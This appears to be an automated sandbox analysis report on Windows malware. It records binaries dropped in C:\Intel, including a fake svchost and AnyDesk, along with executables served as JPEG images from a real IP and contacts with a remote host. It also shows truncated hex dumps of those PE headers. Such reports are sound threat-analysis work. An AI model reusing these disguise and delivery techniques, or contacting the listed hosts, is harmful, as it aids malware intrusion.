Source:	Binary string: SAS.pdbR source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp
Source:	Binary string: TextInputFramework.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: policymanager.pdb source: AnyDesk.exe, 00000034.00000002.3760559367.000000000A1F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\peter\Documents\GitHub\curl-for-windows\out\x86\Release\curl.x86.pdb source: eqRHH2whJu.exe, 00000000.00000003.3415606913.0000000002C00000.00000004.00001000.00020000.00000000.sdmp, curl.exe, 00000025.00000000.3491427148.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000002.3540141039.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000026.00000000.3524843314.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000000.3541638849.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000027.00000002.3574654752.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000000.3576130105.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000028.00000002.3600022730.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000000.3601462876.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 00000029.00000002.3607750156.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000000.3609008428.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp, curl.exe, 0000002A.00000002.3629093837.0000000000A8D000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: SAS.pdb source: svchost.exe, 0000002D.00000002.3722423120.000000000145D000.00000004.00000001.01000000.00000009.sdmp, svchost.exe, 0000002D.00000003.3651617720.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002F.00000002.3690909493.000000000145D000.00000004.00000001.01000000.00000009.sdmp

Source: C:\Intel\curl.exe	Code function: 37_2_00A7CD06 FindFirstFileExW,GetDriveTypeW,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindClose,GetLastError,FindClose,GetLastError,FindClose,	37_2_00A7CD06
Source: C:\Intel\curl.exe	Code function: 37_2_00A7FCDD FindFirstFileExW,GetDriveTypeW,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindClose,GetLastError,FindClose,GetLastError,FindClose,	37_2_00A7FCDD
Source: C:\Intel\driver.exe	Code function: 43_2_0040F8BC FindFirstFileW,GetLastError,FindNextFileW,GetLastError,FindFirstFileA,GetLastError,FindNextFileA,GetLastError,	43_2_0040F8BC
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_00407C0E FindFirstFileA,	44_2_00407C0E
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_0040DB44 FindFirstFileA,	44_2_0040DB44
Source: C:\Intel\Trays\Trays.exe	Code function: 44_2_0040DDDC FindFirstFileA,	44_2_0040DDDC
Source: C:\Intel\svchost.exe	Code function: 45_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	45_2_03E34400
Source: C:\Intel\svchost.exe	Code function: 47_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	47_2_03E34400
Source: C:\Intel\svchost.exe	Code function: 48_2_03E34400 GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	48_2_03E34400

Source: C:\Intel\Trays\Trays.exe

Code function: 44_2_00407D0E GetLogicalDriveStringsA,

44_2_00407D0E

Source: C:\Intel\Trays\4t-min64.exe

Code function: 4x nop then inc dword ptr [rbp-28h]

46_2_00418560

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2025161 - Severity 1 - ET MALWARE Windows executable sent when remote host claims to send an image M4 : 185.125.51.5:80 -> 192.168.11.20:49717
Source: Network traffic	Suricata IDS: 2025169 - Severity 1 - ET MALWARE Windows Executable Downloaded With Image Content-Type Header : 185.125.51.5:80 -> 192.168.11.20:49717

System process connects to network (likely due to code injection or exploit)

Source: C:\Intel\svchost.exe

Network Connect: 57.129.37.28 443

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:11 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "49400-62831fb300240" Accept-Ranges: bytes Content-Length: 300032 Content-Type: image/jpeg Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 ed bf cf 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 30 04 00 00 b8 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 06 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 90 05 00 67 00 00 00 00 80 05 00 8d 0d 00 00 00 a0 05 00 f8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 04 00 00 10 00 00 00 26 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 00 20 01 00 00 40 04 00 00 46 00 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 00 10 00 00 00 60 05 00 00 02 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 00 10 00 00 00 70 05 00 00 02 00 00 00 74 04 00 00 00 00 00 00 00 00 00 00 00 0
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:13 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:13 GMT ETag: "3c000-62831fb300240" Accept-Ranges: bytes Content-Length: 245760 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 71 03 00 50 00 00 00 00 e0 03 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3a 59 02 00 00 10 00 00 00 60 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 0a 01 00 00 70 02 00 00 10 01 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 5b 00 00 00 80 03 00 00 30 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 04 00 00 00 e0 03 00 00 10 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:14 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:14 GMT ETag: "515a00-62831fb3f4480" Accept-Ranges: bytes Content-Length: 5331456 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e9 1c e7 68 ad 7d 89 3b ad 7d 89 3b ad 7d 89 3b c2 0b 22 3b a5 7d 89 3b c2 0b 23 3b ae 7d 89 3b b6 e0 13 3b ac 7d 89 3b c2 0b 14 3b ac 7d 89 3b 52 69 63 68 ad 7d 89 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 58 c7 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0a 00 00 2a 00 00 00 30 51 00 00 54 25 01 e5 1c 00 00 00 10 00 00 00 40 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 76 01 00 04 00 00 cd bd 51 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 76 01 8c 00 00 00 00 a0 25 01 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 77 28 00 00 00 10 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 00 54 25 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 fa 02 00 00 00 a0 25 01 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 26 51 00 00 b0 25 01 00 24 51 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 00 03 00 00 00 e0 76 01 00 04 00 00 00 56 51 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: http	Image file has PE prefix: HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:18:21 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:22:40 GMT ETag: "cb190-628362a1aac00" Accept-Ranges: bytes Content-Length: 831888 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 70 0c 00 00 04 00 00 7c 20 0d 00 02 00 00 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c cd 08 00 54 01 00 00 00 b0 0a 00 1c b6 01 00 00 00 00 00 00 00 00 00 f8 a1 0c 00 98 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 40 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 00 08 00 00 10 00 00 00 02 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5c d9 00 00 00 20 08 00 00 da 00 00 00 06 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 a5 01 00 00 00 09 00 00 68 00 00 00 e0 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 1c b6 01 00 00 b0 0a 00 00 b8 01 00 00 48 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 6 127.0.0.1

Source: global traffic

UDP traffic: 192.168.11.20:52670 -> 239.255.102.18:50001

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 15:18:11 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:13 GMTETag: "49400-62831fb300240"Accept-Ranges: bytesContent-Length: 300032Content-Type: image/jpegData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 ed bf cf 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 00 00 30 04 00 00 b8 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 40 04 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 05 00 00 06 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 90 05 00 67 00 00 00 00 80 05 00 8d 0d 00 00 00 a0 05 00 f8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 30 04 00 00 10 00 00 00 26 04 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 00 20 01 00 00 40 04 00 00 46 00 00 00 2c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 00 10 00 00 00 60 05 00 00 02 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 00 10 00 00 00 70 05 00 00 02 00 00 00 74 04 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 08 Jan 2025 15:18:13 GMTServer: Apache/2Upgrade: h2,h2cConnection: UpgradeLast-Modified: Sun, 01 Dec 2024 09:23:13 GMTETag: "3c000-62831fb300240"Accept-Ranges: bytesContent-Length: 245760Content-Type: image/jpegData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b6 5c 29 cb f2 3d 47 98 f2 3d 47 98 f2 3d 47 98 f2 3d 46 98 8e 3d 47 98 90 22 54 98 f5 3d 47 98 71 21 49 98 eb 3d 47 98 1a 22 4d 98 71 3d 47 98 1a 22 4c 98 d2 3d 47 98 4a 3b 41 98 f3 3d 47 98 52 69 63 68 f2 3d 47 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2c 76 04 62 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 02 00 00 80 01 00 00 00 00 00 a4 c3 01 00 00 10 00 00 00 70 02 00 00 00 40 00 00 10 00 00 00 10 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 f0 03 00 00 10 00 00 00 00 00 00 03 00 00 00 00 90 01 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 71 03 00 50 00 00 00 00 e0 03 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 02 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3a 59 02 00 00 10 00 00 00 60 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c8 0a 01 00 00 70 02 00 00 10 01 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 5b 00 00 00 80 03 00 00 30 00 00 00 80 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 04 00 00 00 e0 03 00 00 10 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 